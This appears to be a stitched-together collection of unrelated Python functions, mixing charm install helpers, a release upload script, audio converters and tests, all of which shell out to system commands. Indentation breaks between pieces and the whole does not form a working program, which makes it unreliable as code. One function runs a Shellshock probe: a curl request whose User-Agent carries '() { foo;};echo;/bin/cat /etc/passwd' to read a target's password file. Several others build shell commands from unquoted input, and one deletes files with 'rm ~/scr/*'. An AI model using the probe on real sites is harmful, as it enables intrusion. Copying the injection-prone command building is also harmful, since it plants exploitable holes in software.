def link_file_in_dir_as(hook_name, dir_path, link_name):
    hook_path = BROC_HOOKS_PATHS[hook_name]
    link_path = dir_path + '/' + link_name

    ln = shell('ln -s {0} {1}'.format(hook_path, link_path))
    chmod = shell('chmod +x {0}'.format(hook_path))
    return ln.code

def bundle(cmd):
    """ Runs bundle

    Usage:

       bundle('install')
       bundle('exec rails s')
       bundle('rake db:create RAILS_ENV=production')

    Arguments:
    cmd: Command to run can be string or list

    Returns:
    Will halt on error
    """
    sh = shell('which bundler')
    if sh.code > 0:
        gem('install -N bundler')
    hookenv.status_set('maintenance', 'Running Bundler')
    os.chdir(ruby_dist_dir())
    if not isinstance(cmd, str):
        hookenv.log('{} must be a string'.format(cmd), 'error')
        sys.exit(1)
    shell_cmd = set_proxy("bundle {} -j{}".format(cmd, cpu_count()))
    sh = shell(shell_cmd, record_output=False)

    if sh.code > 0:
        hookenv.status_set("blocked", "Ruby error: {}".format(sh.errors()))
        hookenv.log("Ruby error: {}".format(sh.errors()))
        sys.exit(1)

def app_command(options):
    '''Execute all of the app specific apps'''
    log('app command output %s' % options)
    if options:
        cmd = options[0]
        args = options[1:]
         
        if cmd=='edit':
            shell('e %s' % app_path(APP_DIR+'/'+args[0]+'.py'))

        elif cmd=='kill':
            kill_server()

        elif cmd=='list':
            list_files()

        elif cmd=='path':
            print(app_path(args[0]))
        
        elif cmd=='run':
            run_server()

        elif cmd=='search':
            system('grep %s $p/*/*.py' % args[0])

        elif cmd=='template':
            shell('e %s' % app_path('templates/%s.html' % args[0]))

        else:
            print('No app command found, '+cmd)
            app_help()
    else:
        print('No arguments given')
        app_help()

def clean():
    """
    """

    # TODO rewrite

    shell.shell("rm ~/scr/*", shell=True)

    return

 def write_pdf(self, curdir, source, target, label, version):
     print("Building PDF: {} - v{}".format(label, version,))
     command = 'wkhtmltopdf {} --user-style-sheet {} {}'.format(
         source,
         self.user_css_path,
         target,
     )
     with cd(curdir):
         shell(command)

def check_dependency_epubcheck():
    try:
        shell('epubcheck')
    except OSError:
        print warning("Warning: missing epubcheck. You'll be able to run"
                      " md2ebook but you won't be able to check your EPUB "
                      " integrity.")
        print
        return False
    return True

def publish(args):


    if not os.path.isfile(os.path.expanduser('~/.pypirc')):
        print(unindent("""
            Missing ~/.pypirc file. Should look like:
            -----------------------------------------

                [distutils]
                index-servers =
                    pypi

                [pypi]
                username:your_username
                password:your_password

        """))
        sys.exit(-1)

    ### Upload everything to server
    shell("""
        cd {build_dir}/pyqtgraph
        
        # Uploading documentation..  (disabled; now hosted by readthedocs.io)
        #rsync -rv doc/build/* pyqtgraph.org:/www/code/pyqtgraph/pyqtgraph/documentation/build/

        # Uploading release packages to website
        rsync -v {pkg_dir} pyqtgraph.org:/www/code/pyqtgraph/downloads/

        # Push master to github
        git push https://github.com/pyqtgraph/pyqtgraph master:master
        
        # Push tag to github
        git push https://github.com/pyqtgraph/pyqtgraph pyqtgraph-{version}

        # Upload to pypi..
        python setup.py sdist upload

    """.format(**args.__dict__))

    print(unindent("""

    ======== Upload complete. =========

    Next steps to publish:
        - update website
        - mailing list announcement
        - new conda recipe (http://conda.pydata.org/docs/build.html)
        - contact deb maintainer (gianfranco costamagna)
        - other package maintainers?

    """).format(**args.__dict__))

def install_composer():
    """ Installs composer
    """
    hookenv.status_set('maintenance', 'Installing composer')
    sh = shell("wget -q -O /usr/local/bin/composer "
               "https://getcomposer.org/composer.phar")
    if sh.code > 0:
        hookenv.status_set(
            'blocked',
            'Unable to download composer: {}'.format(sh.errors()))
        sys.exit(0)
    shell("chmod +x /usr/local/bin/composer")
    hookenv.status_set('active', 'ready')

    def opusConvert(self,infile,outfile,logq):
        # As the new versions of opus support flac natively, I think that the best option is to 
        # use >0.1.7 by default, but support earlier ones without tagging.
        startTime = time()

        if self.version == None:
            print "ERROR! Could not discover opus version, assuming version >= 0.1.7. THIS MAY NOT WORK!"
            version = (9,9,9)
        else: version=self.version

        #If we are a release prior to 0.1.7, use non-tagging type conversion, with warning
        if (version[0] == 0) and (version[1] <= 1) and (version[2] <= 6):
            print "WARNING: Opus version prior to 0.1.7 detected, NO TAGGING SUPPORT"
            decoder = flacdecode(infile)()
            encoder = sp.Popen("%sopusenc %s - %s.opus  2> /tmp/opusLog" % (
                    opusencpath,
                    self.opts,
                    shell().parseEscapechars(outfile),
                    ) ,
                shell=True, 
                bufsize=8192, 
                stdin=sp.PIPE
            ).stdin
                
            
            for line in decoder.readlines(): #while data exists in the decoders buffer
                encoder.write(line) #write it to the encoders buffer
            
            decoder.flush() #if there is any data left in the buffer, clear it
            decoder.close() #somewhat self explanetory
            
            encoder.flush() #as above
            encoder.close()
            logq.put([infile,outfile,"opus","SUCCESS_NOTAGGING",0, time() - startTime])
        else:
            #Later versions support direct conversion from flac->opus, so no need for the above.
            rc = os.system("%sopusenc %s --quiet %s %s.opus" %
                (
                opusencpath,
                self.opts,
                shell().parseEscapechars(infile),
                shell().parseEscapechars(outfile)
                )
            )
            if ( rc != 0 ):
                logq.put([infile,outfile,"opus","ERROR: error executing opusenc. Could not convert",rc, time() - startTime])
            else:
                logq.put([infile,outfile,"opus","SUCCESS",rc, time() - startTime])

    def mp3convert(self,infile,outfile,logq):
        startTime = time()
        inmetadata = flac().getflacmeta(infile)

        try:
            metastring = self.generateLameMeta(inmetadata)
        except(UnboundLocalError):
            metastring = "" #If we do not get meta information. leave blank

        #rb stands for read-binary, which is what we are doing, with a 1024 byte buffer
        decoder = flacdecode(infile)()
        if decoder == None:
            logq.put([infile,outfile,"mp3","ERROR: Could not open flac file for decoding.",-1, time() - startTime])
            return None
        #wb stands for write-binary
        encoder = os.popen("%slame --silent %s - -o %s.mp3 %s" % (
            lamepath,
            self.opts,
            shell().parseEscapechars(outfile),
            metastring
            ) ,'wb',8192) 


        for line in decoder.readlines(): #while data exists in the decoders buffer
            encoder.write(line) #write it to the encoders buffer

        decoder.flush() #if there is any data left in the buffer, clear it
        decoder.close() #somewhat self explanetory

        encoder.flush() #as above
        encoder.close()
        logq.put([infile,outfile,"mp3","SUCCESS",0, time() - startTime])

def mix(cmd):
    """ Runs Mix

    Usage:

       mix('compile')
       mix('test')
       mix('run')

    Arguments:
    cmd: Command to run can be string or list

    Returns:
    Will halt on error
    """
    status_set(
        'maintenance',
        'Running Mix build tool')
    if not os.path.exists(elixir_dist_dir()):
        os.makedirs(elixir_dist_dir())
    os.chdir(elixir_dist_dir())
    if not isinstance(cmd, str):
        status_set('blocked', '{}: should be a string'.format(cmd))
        sys.exit(0)
    cmd = ("yes | mix {}".format(cmd))
    sh = shell(cmd)
    if sh.code > 0:
        status_set("blocked", "Mix error: {}".format(sh.errors()))
        sys.exit(0)

def composer(cmd):
    """ Runs composer

    Usage:

      composer('install')

    Arguments:
    cmd: command to run with composer

    Returns:
    Halts on error
    """
    hookenv.status_set(
        'maintenance',
        'Installing PHP dependencies in {}'.format(app_path()))
    if not os.path.isdir(app_path()):
        os.makedirs(app_path())
    os.chdir(app_path())
    if not isinstance(cmd, str):
        hookenv.status_set('blocked', '{}: should be a string'.format(cmd))
        sys.exit(0)
    cmd = ("composer {}".format(cmd))
    sh = shell(cmd)
    if sh.code > 0:
        hookenv.status_set("blocked", "Composer error: {}".format(sh.errors()))
        sys.exit(0)
    hookenv.status_set('active', 'ready')

def shell_command(testname, argv, must_fail=False, need_stdout=None, need_stderr=None, verbose=True):
    errors = []

    cmd = os.path.basename(argv[0])
    command = shell(argv, verbose=True)

    if must_fail:
        if command.code == 0:
            errors.append("%s: %s succeeded but should have failed?" % (testname, cmd))
    else:
        if command.code != 0:
            errors.append("%s: %s failed (%d)?" % (testname, cmd, command.code))

    if need_stdout:
        command_stdout = command.output(raw=True)

        if need_stdout not in command_stdout:
            errors.append("%s: %s stdout does not contain %s" % (testname, cmd, need_stdout))

    if need_stderr:
        command_stderr = command.errors(raw=True)

        if need_stderr not in command_stderr:
            errors.append("%s: %s stderr does not contain %s" % (testname, cmd, need_stderr))

    if errors:
        print("---- ERRORS")
        print("%s" % "\n".join(errors))

    assert not errors, ("failing, errors: %d" % len(errors))

    def AACPconvert(self,infile,outfile,logq):

        inmetadata = flac().getflacmeta("\"" + infile + "\"")

        tagcmd = "%sneroAacTag " % neroaacpath
        try:
            metastring = self.generateNeroTags(inmetadata)
        except(UnboundLocalError):
            metastring = ""

        decoder = flacdecode(infile)()
        #wb stands for write-binary
        encoder = os.popen("%sneroAacEnc %s -if - -of %s.mp4 > /tmp/aacplusLog" % (
            neroaacpath,
            self.opts,
            shell().parseEscapechars(outfile),
            ) ,'wb',8192)

        for line in decoder.readlines(): #while data exists in the decoders buffer
            encoder.write(line) #write it to the encoders buffer

        decoder.flush() #if there is any data left in the buffer, clear it
        decoder.close() #somewhat self explanetory

        encoder.flush() #as above
        encoder.close()

        #Now as the final event, load up the tags
        rc = os.system("%s \"%s.mp4\" %s" % (tagcmd, outfile, metastring))
#        print "%s %s.mp4 %s" % (tagcmd, outfile, metastring)
        if rc != 0:
            logq.put([infile,outfile,"aacNero","WARNING: Could not tag AAC file",rc, time() - startTime])
        else:
            logq.put([infile,outfile,"aacNero","SUCCESS",0, time() - startTime])

 def test_set_wp(self):
     winner = self.col.draw()
     self.backend.set_wallpaper(winner)
     picture_uri = shell(
         "/usr/bin/env gsettings get org.gnome.desktop.background \
         picture-uri").output()[0]
     self.assertEqual("'file://"+winner+"'", picture_uri)

    def test_chaining(self):
        sh = Shell(has_input=True)
        output = sh.run('cat -u').write('Hello, world!').output()
        self.assertEqual(output, ['Hello, world!'])

        output = shell('cat -u', has_input=True).write('Hello, world!').output()
        self.assertEqual(output, ['Hello, world!'])

def npm(cmd):
    """ Runs npm

    This layer relies on the use of npm scripts defined in `package.json`,
    see here https://docs.npmjs.com/misc/scripts for more information.

    Usage:

       npm('install')
       npm('run build')

    Arguments:
    cmd: Command to run can be string or list

    Returns:
    Will halt on error
    """
    status_set(
        'maintenance',
        'installing NPM dependencies for {}'.format(node_dist_dir()))
    os.chdir(node_dist_dir())
    if not isinstance(cmd, str):
        status_set('blocked', '{}: should be a string'.format(cmd))
        sys.exit(0)
    cmd = ("npm {}".format(cmd))
    sh = shell(cmd)
    if sh.code > 0:
        status_set("blocked", "NPM error: {}".format(sh.errors()))
        sys.exit(0)

def doc_send_text(args):
    if args:
        path = doc_path('send/me')
        text = open(doc_path(args[0])).read()
        open(path,'w').write(text+'\n')
        print(shell('x send dispatch'))
    else:
        print('usage: doc send doc-path')

def validate(url):
# curl -A "() { foo;};echo;/bin/cat /etc/passwd"
  cmd = 'curl --connect-timeout 30 --max-time 60 -A "() { foo;};echo;/bin/cat /etc/passwd" %s' % (url)
  oldcmd = 'curl --connect-timeout 30 --max-time 60 %s' % (url)
#  print cmd
  old_cont = shell(oldcmd).output(raw=True)
  new_cont = shell(cmd).output(raw=True)

  p = re.compile(r'.*?:.*?:\d*?:\d*?:.*?:.*?:.*')
  '''
  match only report from start 0, please use search
  '''
  m = p.search(new_cont)

  if old_cont != new_cont and m:
    return True
  return False

def install_app():
    """ Performs application installation
    """

    hookenv.log('Installing Huginn', 'info')

    # Configure NGINX vhost
    nginxlib.configure_site('default', 'vhost.conf')

    # Update application
    huginnlib.download_archive()
    shell("mkdir -p {}/{log,tmp/pids,tmp/sockets}".format(ruby_dist_dir()))
    shell("cp {}/config/unicorn.rb.example "
          "{}/config/unicorn.rb".format(ruby_dist_dir()))

    bundle("install --deployment --without development test")
    host.service_restart('nginx')
    hookenv.status_set('active', 'Huginn is installed!')